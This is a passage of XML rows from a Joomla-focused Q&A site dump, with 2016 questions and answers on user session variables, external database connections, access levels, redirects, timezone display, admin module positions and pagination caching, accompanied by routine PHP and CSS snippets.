  <row Id="17500" PostTypeId="1" CreationDate="2016-08-13T05:50:20.407" Score="2" ViewCount="437" Body="&lt;p&gt;I am trying to create vendor panel.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;In that I need to identify the user is vendor or normal user.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;For that I need to add session variable or variable in user object.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;But how can I achieve that.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Help me to solve this issue.&lt;/p&gt;&#xA;" OwnerUserId="8682" LastActivityDate="2017-12-06T16:56:52.037" Title="How can I add my variables in user object" Tags="|joomla-3.x|session|user-groups|" AnswerCount="1" CommentCount="4" ContentLicense="CC BY-SA 3.0" />
  <row Id="17501" PostTypeId="2" ParentId="17496" CreationDate="2016-08-13T05:55:34.563" Score="0" Body="&lt;p&gt;I haven't used joomla framework still now but if you need to connect diff. database with your joomla cms then following code may helps you;&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;?php&#xA;//external db database connect from joomla cms&#xA;$option['driver'] = &quot;mysql&quot;;&#xA;$option['host'] = &quot;&quot;;//host&#xA;$option['user'] = &quot;&quot;;//user&#xA;$option['password'] = &quot;&quot;;//password&#xA;$option['database'] = &quot;&quot;;//db&#xA;$option['prefix'] = &quot;&quot;;//prefix&#xA;$external_db = &amp;amp; JDatabase::getInstance($option);&#xA;&#xA;$external_db-&amp;gt;setQuery(&quot;query&quot;);&#xA;$result = $external_db-&amp;gt;loadObject();?&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="8836" LastActivityDate="2016-08-13T05:55:34.563" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="17502" PostTypeId="2" ParentId="12323" CreationDate="2016-08-13T07:24:48.833" Score="1" Body="&lt;p&gt;When you say &quot;normal search&quot; you must mean the build in Joomla module.&#xA;K2 has a search module that supports search in extra fields.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;New module -&gt; &lt;strong&gt;K2 Tools&lt;/strong&gt; -&gt; Select module functionality &lt;strong&gt;Search Box&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;*There is an issue with the K2 v2.7.1 search but the K2 v2.7.0 works as you need it.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;As for your second question Yootheme Zoo is the next best thing but it's paid download while K2 is free.&lt;/p&gt;&#xA;" OwnerUserId="7457" LastActivityDate="2016-08-13T07:24:48.833" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="17503" PostTypeId="2" ParentId="17496" CreationDate="2016-08-13T07:40:22.443" Score="0" Body="&lt;p&gt;For you the best option is to not use Joomla Framework as it is very difficult to find any decent documentation/tutorials and you won't get much help about it.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You have to use normal Joomla CMS package. If your app connects from outside of the app, then the solution is to use an external PHP script that uses Joomla's functionalities. If users can visit your webapp, simple login and execute a script that connect's to an external app and show some data, then the best solution is to just a use a simple module, not component as it would make it too complex for such a simple task.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;In both cases functions would be similar (I will paste code for an external script, in other case just stripe what is not needed):&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;?php&#xA;  define('_JEXEC', 1);&#xA;  define('JPATH_BASE', realpath(dirname(__FILE__)));&#xA;&#xA;  require_once JPATH_BASE . '/includes/defines.php';&#xA;  require_once JPATH_BASE . '/includes/framework.php';&#xA;&#xA;  $app = JFactory::getApplication('site');&#xA;  $jinput = $app-&amp;gt;input;&#xA;  // $db = JFactory::getDbo(); This is simple local DB connect&#xA;  // And this is for external connection&#xA;  $option = array(); //prevent problems&#xA;&#xA;  $option['driver']   = 'mysql';              // Database driver name&#xA;  $option['host']     = 'db.myhost.com';      // Database host name&#xA;  $option['user']     = 'mysqluser';          // User for database authentication&#xA;  $option['password'] = 'anduserspassword';   // Password for database authentication&#xA;  $option['database'] = 'nameofthedatabase';  // Database name&#xA;  $option['prefix']   = 'iypow_';             // Database prefix (may be empty)&#xA;&#xA;  $db = JDatabaseDriver::getInstance($option);&#xA;&#xA;  $user_login            = $jinput-&amp;gt;getString('user_login', '');&#xA;  $user_password         = $jinput-&amp;gt;getString('user_password', '');&#xA;&#xA;  // use $app-&amp;gt;login(array($user_login, $user_password)) to login user&#xA;  // https://api.joomla.org/cms-3/classes/JApplicationCms.html#method_login&#xA;&#xA;  // if (user is logged in) {&#xA;    // then connect to an external DB&#xA;&#xA;    // Simple query in Joomla's way&#xA;    // for more infomration how to fetch data see&#xA;    // https://docs.joomla.org/Selecting_data_using_JDatabase&#xA;    $query = $db-&amp;gt;getQuery(true);&#xA;    $query&#xA;      -&amp;gt;select($db-&amp;gt;quoteName('*'))&#xA;      -&amp;gt;from($db-&amp;gt;quoteName('#__mytable'))&#xA;      -&amp;gt;where($db-&amp;gt;quoteName('user') . ' = ' . $db-&amp;gt;quote($user_login));&#xA;    $db-&amp;gt;setQuery($query);&#xA;    $user = $db-&amp;gt;loadObject();&#xA;&#xA;    print_r($user);&#xA;  // }&#xA;?&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="8182" LastActivityDate="2016-08-13T07:40:22.443" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="17504" PostTypeId="2" ParentId="17500" CreationDate="2016-08-13T07:48:35.097" Score="1" Body="&lt;p&gt;According to this tutorial &lt;a href=&quot;https://docs.joomla.org/How_to_use_user_state_variables&quot; rel=&quot;nofollow&quot;&gt;https://docs.joomla.org/How_to_use_user_state_variables&lt;/a&gt; it is quite simple&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$mainframe = JFactory::getApplication();&#xA;$mainframe-&amp;gt;setUserState(&quot;$option.state_variable&quot;, &quot;state1&quot;);&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Documentation of this function can be found here &lt;a href=&quot;https://api.joomla.org/cms-3/classes/JApplicationCms.html#method_getUserState&quot; rel=&quot;nofollow&quot;&gt;https://api.joomla.org/cms-3/classes/JApplicationCms.html#method_getUserState&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Maybe for your case it's better to use &lt;code&gt;set&lt;/code&gt; and &lt;code&gt;get&lt;/code&gt; functions on the user's object. I've never used them, so I don't know if they are permanent or how exactly they behave. Check them here &lt;a href=&quot;https://api.joomla.org/cms-3/classes/JUser.html#method_set&quot; rel=&quot;nofollow&quot;&gt;https://api.joomla.org/cms-3/classes/JUser.html#method_set&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="8182" LastActivityDate="2016-08-13T07:48:35.097" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="17505" PostTypeId="2" ParentId="14705" CreationDate="2016-08-13T08:05:24.417" Score="3" Body="&lt;p&gt;The right way of handling ACL is to create user groups, in tyo&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;Solutions, Authorized, Retail, Distributors&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;And after that create access level for each combination you need. For example you create access level called &lt;code&gt;vip&lt;/code&gt; for 2 groups &lt;code&gt;authorized&lt;/code&gt; and &lt;code&gt;distributors&lt;/code&gt;. Let's say you have articles category that you want to be visible just for that group, then you create a menu item of articles category type and specify access level just to that &lt;code&gt;vip&lt;/code&gt; group.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;This is really flexible. I have a website with 7 user groups and 10 access levels and things aren't messy at all.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/92Q6I.png&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/92Q6I.png&quot; alt=&quot;Joomla&amp;#39;s access level example&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="8182" LastActivityDate="2016-08-13T08:05:24.417" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="17506" PostTypeId="1" AcceptedAnswerId="17518" CreationDate="2016-08-13T08:36:47.540" Score="1" ViewCount="122" Body="&lt;p&gt;I am trying to create vendor panel.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;And I need to show Toolbar on frontend.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I read the documentation and I created &lt;code&gt;toolbar.php&lt;/code&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Help me to solve this issue.&lt;/p&gt;&#xA;" OwnerUserId="8682" LastActivityDate="2016-08-14T10:21:40.960" Title="How to add toolbar on frontend in fof" Tags="|joomla-3.x|fof|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="17507" PostTypeId="2" ParentId="2178" CreationDate="2016-08-13T12:50:25.607" Score="-1" Body="&lt;p&gt;I know this is an old topic but did you ever get to the bottom of this?&#xA;I've just experienced the same problem.  I have identified the CAUSE but not the problem/solution; I have a sneaky suspision that it is a BUG but could do with someone else trying it out.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Scenario: You have created a module that includes a jQuery dependant script so you use the following in your default.php view:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$doc = JFactory::getDocument();&#xA;$doc-&amp;gt;addScript(&quot;media/mod_accordion/js/accordion.js&quot;);&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;You then install the module and give it a module position, lets say 'left'.&#xA;When you look at the front end source code everything looks good, all the scripts load after the scripts that are included in&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;JHtml::_('bootstrap.framework');&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;HOWEVER &#xA;if you give the module a position 'accordion' and use the joomla loadposition feature to add the module to an article&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{loadposition accordion}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;then accordion.js gets added BEFORE the bootstrap.framework files.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The only way I have been able to bodge it to work is to add the script as an inline script rather than being included in the head.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;EDIT:  same goes for including the css; it is being added to the top of the list of css declaration (before the template and bootstrap css files).  The bodge for this is to add !important to the css declarations.&lt;/p&gt;&#xA;" OwnerUserId="8460" LastEditorUserId="8460" LastEditDate="2016-08-13T13:26:41.687" LastActivityDate="2016-08-13T13:26:41.687" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="17509" PostTypeId="1" CreationDate="2016-08-13T16:40:38.797" Score="3" ViewCount="2377" Body="&lt;p&gt;I moved a site from Joomla 2.5 -&gt; 3.6 recently, and some of the URLs in the site changed.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;For one critical URL I used the Joomla redirect manager to create a redirect, and it worked as expected.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;However, within a few days the URL began to return 404 errors again. I checked it in the redirect manager, and it is still there, and still active. But it's not working.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Is there anything I can check to figure out why it was working then stopped? &lt;/p&gt;&#xA;" OwnerUserId="29" LastActivityDate="2018-07-21T02:09:48.690" Title="Redirect not working" Tags="|joomla-3.x|redirect|" AnswerCount="2" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="17512" PostTypeId="2" ParentId="17496" CreationDate="2016-08-13T22:06:56.120" Score="0" Body="&lt;p&gt;Before some research and ask on Joomla Framework google groups&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I find, if you need to use com_users you will need to use the Joomla CMS. The framework is not an option you cannot run the users component in the framework.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If you do not with to drag along all the Joomla functionality for your solution you could consider using our Joomlatools Platform. (&lt;a href=&quot;https://www.joomlatools.com/developer/platform/&quot; rel=&quot;nofollow&quot;&gt;https://www.joomlatools.com/developer/platform/&lt;/a&gt;) The platform is a modern and slimmed down version of Joomla (based on 3.3 release). Fore more info see: &lt;a href=&quot;https://www.joomlatools.com/developer/blog/2015/11/introducing-joomlatools-platform/&quot; rel=&quot;nofollow&quot;&gt;https://www.joomlatools.com/developer/blog/2015/11/introducing-joomlatools-platform/&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;also check out our Joomlatools Vagrant Box for local Joomla development. Comes packed with tools to help you be more productive as a developer. You can find more info here: &lt;a href=&quot;https://www.joomlatools.com/developer/tools/vagrant/&quot; rel=&quot;nofollow&quot;&gt;https://www.joomlatools.com/developer/tools/vagrant/&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;There is another option using Joomla Framework and if you are just using com_users just for user management Then we don't write some super simple user management in plain PHP (there should be already a lot of free scripts on internet) and connect it to that external DB (Thanks to Adam)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Using the framework I can use any other users solution package installing via composer.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanks for the answers I hope this helps &lt;/p&gt;&#xA;" OwnerUserId="8860" LastActivityDate="2016-08-13T22:06:56.120" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="17513" PostTypeId="1" CreationDate="2016-08-13T23:09:43.323" Score="0" ViewCount="322" Body="&lt;p&gt;Can someone let me know if there is a plugin / application that will let me upload videos to site. And when users want to access the video they will prompted for login and password&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Cheers&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Carlton&lt;/p&gt;&#xA;" OwnerUserId="8056" LastEditorUserId="7394" LastEditDate="2016-08-14T19:32:27.340" LastActivityDate="2016-09-17T05:08:03.433" Title="Video - AVI Plugin for Joomla" Tags="|joomla-3.4|extensions|" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="17514" PostTypeId="1" CreationDate="2016-08-13T23:34:16.940" Score="1" ViewCount="330" Body="&lt;p&gt;It might not be all that important, but I kinda wish to see the Joomla quick icons on the right. The default setting is on the left, I think?&#xA;I attach a screenshot as an example of where I want them to be in Joomla's admin panel.&lt;a href=&quot;https://i.stack.imgur.com/QAtIm.png&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/QAtIm.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="7161" LastEditorUserId="5638" LastEditDate="2016-08-16T07:30:19.927" LastActivityDate="2016-08-16T07:30:19.927" Title="How to move Joomla quick icons to the right side?" Tags="|joomla-3.x|administrator|joomla-3.5|module-display|isis-template|" AnswerCount="2" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="17515" PostTypeId="1" AcceptedAnswerId="17581" CreationDate="2016-08-14T06:12:37.797" Score="0" ViewCount="1038" Body="&lt;p&gt;Set up a new site in Joomla 3.6&lt;/p&gt;&#xA;&#xA;&lt;p&gt;My Joomla menu module always shows this error&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;Warning: str_repeat(): Second argument has to be greater than or equal to 0 in public_html/libraries/cms/form/field/menuitem.php on line 220&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;How to solve same&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Edit Screenshot&lt;/strong&gt;&#xA;&lt;a href=&quot;https://i.stack.imgur.com/mqFXx.png&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/mqFXx.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="5654" LastEditorUserId="5654" LastEditDate="2016-08-18T15:29:24.127" LastActivityDate="2016-09-18T21:08:49.893" Title="Joomla Menu shows Warning: str_repeat(): Second argument has to be greater than or equal to 0" Tags="|joomla-3.x|module|menu|joomla-3.6|" AnswerCount="3" CommentCount="9" ContentLicense="CC BY-SA 3.0" />
  <row Id="17516" PostTypeId="1" AcceptedAnswerId="17517" CreationDate="2016-08-14T08:44:55.563" Score="3" ViewCount="115" Body="&lt;p&gt;Sorry if this was explained somewhere, but up to now - nothing found.&#xA;So, I have an article published today, Aug.14th, at 11:11 local time. This means +3 hours from UTC. At MySQL table &lt;code&gt;content&lt;/code&gt; I can see:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;+--------------+---------------------+&#xA;| created      | 2016-08-14 08:11:01 |&#xA;+--------------+---------------------+&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Here time zone has been already applied, time is stored in UTC, and this time in UTC is correct. (Or may be I am wrong here? I am using phpMyAdmin)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I want to print out the local time when the article was created - i.e. - 11:11 hrs.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Let's say that I can read this value and can apply time zone in opposite way and everything should be OK, except I want this conversation to be done in the future. The problem is that we have DST (Daylight Saving Time) and after some time I couldn't tell (at least easily) what was the real offset on Aug. 14th at 08:11 UTC - had we DST or not on that date?&#xA;(Time offset could be +3 or +2 hrs from UTC depending on DST). Also I can not see in &lt;code&gt;content&lt;/code&gt; table any record regarding stored time offset.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;So, how to know/print out created time, exactly &lt;code&gt;11:11&lt;/code&gt; hrs at place where article was created?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Suppose Joomla do that, right?&lt;/p&gt;&#xA;" OwnerUserId="1995" LastActivityDate="2016-08-14T10:13:31.387" Title="How to tell what WAS the local time of an article?" Tags="|mysql|phpmyadmin|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="17517" PostTypeId="2" ParentId="17516" CreationDate="2016-08-14T09:58:33.573" Score="3" Body="&lt;p&gt;In database tables, dates are always in &lt;a href=&quot;https://en.wikipedia.org/wiki/Coordinated_Universal_Time&quot; rel=&quot;nofollow&quot;&gt;UTC&lt;/a&gt;. &lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;Coordinated Universal Time (French: Temps universel coordonné), abbreviated as UTC, is the primary time standard by which the world regulates clocks and time. It is within about 1 second of mean solar time at 0° longitude;[1] it does not observe daylight saving time. It is one of several closely related successors to Greenwich Mean Time (GMT). For most purposes, UTC is considered interchangeable with GMT, but GMT is no longer precisely defined by the scientific community.&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;To display the date at page level, in Joomla general timezone or user time zone, you must convert it... and there are several ways to do it. A sample code:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;    $timeZone = JFactory::getUser()-&amp;gt;getParam('timezone');&#xA;&#xA;    if (!$timeZone)&#xA;    {&#xA;        $timeZone = JFactory::getConfig()-&amp;gt;get('offset');&#xA;    }&#xA;&#xA;    $tz = DateTimeZone($timeZone);&#xA;    $date = JFactory::getDate($strdate);&#xA;    $date-&amp;gt;setTimezone($tz);&#xA;&#xA;    $userDate = $date-&amp;gt;format(JText::_('A_DATE_FORMAT'), true);&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Particularly, in com_content, you can find that the item created date is shown in this short way:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;    echo JHtml::_('date', $item-&amp;gt;created, JText::_('DATE_FORMAT_LC4'));&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;Joomla general timezone is saved in configuration.php&lt;/li&gt;&#xA;&lt;li&gt;If a user has a specific timezone, you can find it in #__users table, params field as a JSON-encoded array.&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;" OwnerUserId="174" LastEditorUserId="174" LastEditDate="2016-08-14T10:13:31.387" LastActivityDate="2016-08-14T10:13:31.387" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="17518" PostTypeId="2" ParentId="17506" CreationDate="2016-08-14T10:21:40.960" Score="0" Body="&lt;p&gt;You can find more information about FOF Toolbar here:&lt;/p&gt;&#xA;&#xA;&lt;h1&gt;The Toolbar&lt;/h1&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://github.com/akeeba/fof/wiki/The-Toolbar&quot; rel=&quot;nofollow&quot;&gt;https://github.com/akeeba/fof/wiki/The-Toolbar&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="174" LastActivityDate="2016-08-14T10:21:40.960" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="17519" PostTypeId="2" ParentId="17514" CreationDate="2016-08-14T19:52:48.253" Score="2" Body="&lt;p&gt;Go to &lt;strong&gt;Extensions&lt;/strong&gt; &gt; &lt;strong&gt;Modules&lt;/strong&gt;, here select &lt;strong&gt;Administrator&lt;/strong&gt; in the filter, see the screenshot:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/gwMp2.png&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/gwMp2.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Just select your module and change inside the position like the front-end modules.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If you go to &lt;strong&gt;administrator/templates/isis/templateDetails.xml&lt;/strong&gt; you can see the available positions:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;positions&amp;gt;&#xA;    &amp;lt;position&amp;gt;menu&amp;lt;/position&amp;gt;&#xA;    &amp;lt;position&amp;gt;submenu&amp;lt;/position&amp;gt;&#xA;    &amp;lt;position&amp;gt;toolbar&amp;lt;/position&amp;gt;&#xA;    &amp;lt;position&amp;gt;title&amp;lt;/position&amp;gt;&#xA;    &amp;lt;position&amp;gt;status&amp;lt;/position&amp;gt;&#xA;    &amp;lt;position&amp;gt;icon&amp;lt;/position&amp;gt;&#xA;    &amp;lt;position&amp;gt;cp_shell&amp;lt;/position&amp;gt;&#xA;    &amp;lt;position&amp;gt;cpanel&amp;lt;/position&amp;gt;&#xA;    &amp;lt;position&amp;gt;bottom&amp;lt;/position&amp;gt;&#xA;    &amp;lt;position&amp;gt;footer&amp;lt;/position&amp;gt;&#xA;    &amp;lt;position&amp;gt;login&amp;lt;/position&amp;gt;&#xA;    &amp;lt;position&amp;gt;debug&amp;lt;/position&amp;gt;&#xA;&amp;lt;/positions&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;If you want, you can add more positions, see this docs:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;a href=&quot;https://docs.joomla.org/Declaring_module_positions&quot; rel=&quot;nofollow noreferrer&quot;&gt;Declaring module positions&lt;/a&gt;&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;" OwnerUserId="7394" LastActivityDate="2016-08-14T19:52:48.253" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="17521" PostTypeId="2" ParentId="17514" CreationDate="2016-08-15T13:36:46.213" Score="1" Body="&lt;p&gt;You can do it through CSS as well.  However, your changes may be overwritten in future Joomla releases.&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;In administrator/templates/isis/css/template.css&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;add to bottom:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;/* Move control panel sidebar to right */&#xA;body.com_cpanel .row-fluid [class*=&quot;span&quot;] {float:right;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="464" LastActivityDate="2016-08-15T13:36:46.213" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="17522" PostTypeId="1" CreationDate="2016-08-15T16:22:50.717" Score="1" ViewCount="260" Body="&lt;p&gt;Joomla displaying wrong pagination &lt;/p&gt;&#xA;&#xA;&lt;p&gt;To explain with&lt;/p&gt;&#xA;&#xA;&lt;p&gt;a) say i am on page 24 the page shows below url&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;/index.php?option=com_news&amp;amp;view=list&amp;amp;Itemid=10&amp;amp;limitstart=115&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;b) Now when the com news list page opened / browsed again on the same browser&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;/index.php?option=com_news&amp;amp;view=list&amp;amp;Itemid=10&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;It displays content of page 24&lt;/p&gt;&#xA;&#xA;&lt;p&gt;However - when the page is tried and accessed on new browser - its displayed correctly&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The cache is disabled, This is checked on chrome, firefox - all same&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Basically any last page (say page 20) as browsed by user when explored in list view and again shown as default page in this url&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;/index.php?option=com_news&amp;amp;view=list&amp;amp;Itemid=10&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;This is browser&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The first page has to manually be selected through&#xA;How to solve it&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Am on joomla 3.6.2, apache 2.4, php 5.6&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Edited&lt;/strong&gt; &#xA;Though this is solved by destroying joomla session variable&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;?php $session = JFactory::getSession(); $session-&amp;gt;destroy();&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Unsure how well is it&#xA;Is there a way to kill only pagination session only&lt;/p&gt;&#xA;" OwnerUserId="5654" LastEditorUserId="5654" LastEditDate="2016-08-18T10:54:57.463" LastActivityDate="2017-08-13T16:37:08.463" Title="Joomla Pagination Issue. Last page browsed is automatically shown as default page in the list view without pagination in same browser" Tags="|pagination|" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="17523" PostTypeId="2" ParentId="17522" CreationDate="2016-08-15T19:15:42.653" Score="1" Body="&lt;p&gt;That is definitely a caching issue. Either you have the &quot;System - Cache&quot; plugin enabled, or you have some aggressive caching at the server level (if you are on a shared host, then note that some hosts are recently much more aggressive in their caching for shared hosting accounts).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Also, try renaming your &lt;code&gt;.htaccess&lt;/code&gt; file to see if the problem is caused by some rules in your &lt;code&gt;.htaccess&lt;/code&gt; file.&lt;/p&gt;&#xA;" OwnerUserId="7867" LastActivityDate="2016-08-15T19:15:42.653" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="17524" PostTypeId="2" ParentId="17509" CreationDate="2016-08-15T19:23:18.737" Score="2" Body="&lt;p&gt;Are you sure the URL is exactly the same as the one in the Redirect Manager? Also, remember that the Redirect Manager only works when the page returns the 404 error code - try to make sure that the page really returns 404 (and not 403 or other 4xx errors).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Final note: Are you sure that the plugin for the redirect manager is enabled?&lt;/p&gt;&#xA;" OwnerUserId="7867" LastActivityDate="2016-08-15T19:23:18.737" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="17526" PostTypeId="1" AcceptedAnswerId="17533" CreationDate="2016-08-15T21:13:21.033" Score="0" ViewCount="158" Body="&lt;p&gt;I know there's a K2 Tool's module and it has among other things, its own Custom HTML module. The only difference that I've noticed is that it has a &quot;Parse PHP code&quot; option.&#xA;So my question is...  is the K2 Custom HTML module different to the Joomla custom module in any other way? Are there any situations where you would choose one module over the other?&lt;/p&gt;&#xA;" OwnerUserId="7161" LastEditorUserId="115" LastEditDate="2016-08-16T13:11:44.847" LastActivityDate="2016-08-16T13:11:44.847" Title="How does K2 Custom HTML module differ from Joomla's?" Tags="|module|k2|joomla-3.5|custom-module|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="17527" PostTypeId="2" ParentId="17522" CreationDate="2016-08-15T21:15:42.930" Score="1" Body="&lt;p&gt;Open your actual Breadcrumbs module and make sure the caching is disabled there as well.&lt;/p&gt;&#xA;" OwnerUserId="464" LastActivityDate="2016-08-15T21:15:42.930" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
